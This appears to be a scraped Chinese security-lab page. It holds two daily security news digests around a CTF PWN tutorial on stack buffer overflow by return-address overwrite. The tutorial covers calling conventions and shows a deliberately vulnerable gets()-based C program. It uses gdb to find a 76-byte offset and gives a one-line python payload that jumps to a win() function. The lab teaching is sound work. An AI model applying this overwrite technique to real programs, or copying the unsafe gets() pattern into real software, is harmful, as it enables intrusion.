免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、新Mirai Variant利用数十个漏洞来劫持IoT设备 https://www.securityweek.com/new-mirai-variant-leverages-10-vulnerabilities-hijack-iot-devices 2、Mimecast称SolarWinds黑客窃取了源代码 https://www.securityweek.com/mimecast-says-solarwinds-hackers-stole-source-code 3、思科修复小型企业路由器安全漏洞 https://threatpost.com/cisco-security-hole-small-business-routers/164859/ 4、DuckDuckGo扩展漏洞使Edge用户容易被监听 https://portswigger.net/daily-swig/duckduckgo-browser-extension-vulnerability-leaves-edge-users-open-to-potential-cyber-snooping 5、英国伯明翰南方城市学院遭到勒索软件攻击 https://feweek.co.uk/2021/03/15/college-group-closes-all-campuses-for-a-week-following-major-cyber-attack/ 6、Twitter账户劫持攻击策划者被判入狱 https://thehill.com/policy/cybersecurity/543515-twitter-hacker-to-serve-three-years-in-prison 7、荷兰当局表示至少1200台服务器受Exchange攻击影响 https://www.reuters.com/article/us-netherland-cyber-microsoft/microsoft-hack-fallout-substantial-for-dutch-servers-watchdog-says-idUSKBN2B82K4 8、支付卡窃取程序将获取的数据隐藏在JPG文件中 https://securityaffairs.co/wordpress/115655/hacking/magecart-credit-card-jpg.html 9、Twitter启用2FA支持多个安全密钥保护账户安全 https://www.securityweek.com/twitter-users-can-now-secure-accounts-multiple-security-keys 10、研究发现大多数安全机构发布的PDF文件包含敏感信息 https://www.securityweek.com/research-security-agencies-expose-information-improperly-sanitized-pdfs
CTF PWN练习之返回地址覆盖
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  今天进行的实验是CTF PWN练习之返回地址覆盖,来体验一下新的溢出方式。 学习地址覆盖之前还有些小知识需要掌握,不然做题的时候你肯定一脸懵逼,首先是函数调用约定,然后还要知道基本的缓冲区溢出攻击模型。 函数调用约定 函数调用约定描述了函数传递参数的方式和栈协同工作的技术细节,不同的函数调用约定原理基本相同,但在细节上是有差别的,包括函数参数的传递方式、参数的入栈顺序、函数返回时由谁来平衡堆栈扥。本实验中着重讲解C语言函数调用约定。 通过前面几个PWN系列实验的学习,我们可以发现在gdb中通过disas指令对main函数进行反汇编时,函数的开头和结尾的反汇编指令都是一样的: push %ebp mov %esp,%ebp ...... leave ret 在函数大开头,首先是一条push %ebp指令,将ebp寄存器压入栈中,用于保存ebp寄存器的值,接着是mov %esp,%ebp将esp寄存器的值传递给ebp寄存器;在函数的末尾,leave指令相当于mov %ebp,%esp和pop %ebp两条指令,其作用刚好与开头的两条指令相反,即恢复esp和ebp寄存器的内容。 如果在函数A中调用了函数B,我们称函数A为主调函数,函数B为被调函数,如果函数B的声明为int B(int arg1, int arg2, int arg3),那么函数A中的调用函数B时的汇编指令的形式如下: push arg3 push arg2 push arg1 call B 连续三个push将函数的参数按照从右往左的顺序进行压栈,然后执行call B来调用函数B。注意在gdb中看到的效果可能不是三个push,而是三个mov来对栈进行操作,这是因为Linux采用AT&T风格的汇编,而上面的指令使用的是Intel风格的汇编,比较容易理解。 call指令的内部细节为:将下一条指令的地址压入栈中,然后跳转到函数B去执行代码。这里说的call下一条指令的地址也就是通常所说的返回地址。函数B最后一条retn指令会从栈上弹出返回地址,并赋值给EIP寄存器,达到返回函数A继续执行的目的。 基本的缓冲区溢出攻击模型 基本的缓冲区溢出攻击通常是通过改写函数返回地址的形式来发起攻击的。如A调用B函数,正常情况下B函数返回时执行retn指令,从栈上取出返回地址跳转回A函数继续执行代码。而一旦返回地址被缓冲区溢出数据改写,那么我们就可以控制函数B跳转到指定的地方去执行代码了。 1. 实验内容和步骤 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110409173900001。 做实验前先好好审题,看一下描述。 主机/home/test/5目录下有一个pwn5程序,执行这个程序可以输入数据进行测试,正常情况下程序接收输入数据后不会产生任何输出信息并直接退出,然后当输入一定的数据量时,可能会提示Segmentation fault的错误信息,当输入的精心构造的输入数据时可对程序发起溢出攻击,达到改写程序执行流程的目的,攻击成功时将输出如下信息: Congratulations, you pwned it. 请对pwn5程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入数据,使之输出成功的提示信息。 使用cd /home/test/5切换到程序所在目录,执行cat pwn5.c即可看到源代码: #include <stdio.h> void win() { printf("Congratulations, you pwned it.\n"); } int main(int argc, char** argv) { char buffer[64]; gets(buffer); // 存在缓冲区溢出 return 0; } 程序定义了一个64字节大小的buffer数组,然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出,栈上函数的返回地址可以被改写,当返回地址被改写为win函数的地址时,就可以输出成功提示的信息。 gets(buffer)这个溢出太明显了,问题就是不知道我们要输入多少位才能溢出。 执行gdb pwn5即可开始通过gdb对pwn5进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令即可: 我们首先使用b *0x080483f8对main函数的第一条指令下一个断点,同时使用b *0x08048408对gets函数的调用下一个断点,然后输入r命令运行程序,将会在第一个断点处断下,如下图所示: 这时候运行i r $esp来查看esp寄存器的值,通过前面对函数调用约定的分析,我们知道这时候栈顶存储的就是返回地址,这时候esp寄存器的值为0xffffd6cc。 在gdb中输入c命令让程序继续执行,将在第二个断点断下,通过对汇编指令的分析,我们知道eax寄存器存储了buffer的起始地址,所以运行i r $eax来查看buffer的地址: 我们看到eax寄存器的值为0xffffd680,那么这两个地址的差为76,如下图下图所示: 也就是说,在覆盖了76字节数据后,如果再覆盖4个字节,就可以把返回地址覆盖为我们想要的地址了。 在gdb中执行disas win查看win函数的地址为0x080483e4,接下来就可以构造输入数据来发起溢出攻击了。 我们只要合理控制输入数据的第77~80字节的内容,就可以实现对函数返回地址进行覆盖,从而成功发起溢出攻击了。 现在win函数的地址为0x080483e4,转换为小端格式是’\xe4\x83\x04\x08’,那么可以构造这样的命令来进行溢出测试: python -c "print 'A'*76+'\xe4\x83\x04\x08'" | ./pwn5 攻击效果如下图所示: 这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
网络安全日报 2021年03月17日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、因内容安全问题俄罗斯计划在一个月之内封禁Twitter https://www.securityweek.com/russia-threatens-block-twitter-month 2、研究人员发现一系列利用Mirai新变体的攻击 https://securityaffairs.co/wordpress/115664/uncategorized/mirai-botnet-variant-2.html 3、Microsoft回滚更新以修复365和其他服务无法访问故障 https://www.reuters.com/article/us-microsoft-teams-outages/microsoft-rolls-back-update-to-fix-access-issues-for-thousands-idUSKBN2B72MJ 4、NFT数字艺术平台造账户接管和盗取攻击 https://www.cyberscoop.com/nft-nifty-gateway-hackers-digital-art-theft/ 5、FBI警告称针对教育机构的Pysa勒索软件活动不断增加 https://www.bleepingcomputer.com/news/security/fbi-warns-of-escalating-pysa-ransomware-attacks-on-education-orgs 6、研究人员发现与Taurus窃取程序有关的新活动 https://blog.minerva-labs.com/taurus-stealers-evolution 7、钓鱼网站利用JS检查是否在虚拟机中以逃避检测 https://www.bleepingcomputer.com/news/security/phishing-sites-now-detect-virtual-machines-to-bypass-detection/ 8、Guns.com的完整数据库及其源代码遭黑客转储 https://www.hackread.com/hacker-dumps-guns-com-database-customers-admin-data/ 9、Blender官方网站遭到黑客攻击关闭了部分内容 https://www.bleepingcomputer.com/news/security/blender-website-in-maintenance-mode-after-hacking-attempt/ 10、加拿大税务局因安全问题锁定了80多万纳税人的账号 https://www.cbc.ca/news/politics/cra-accounts-locked-1.5947714
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页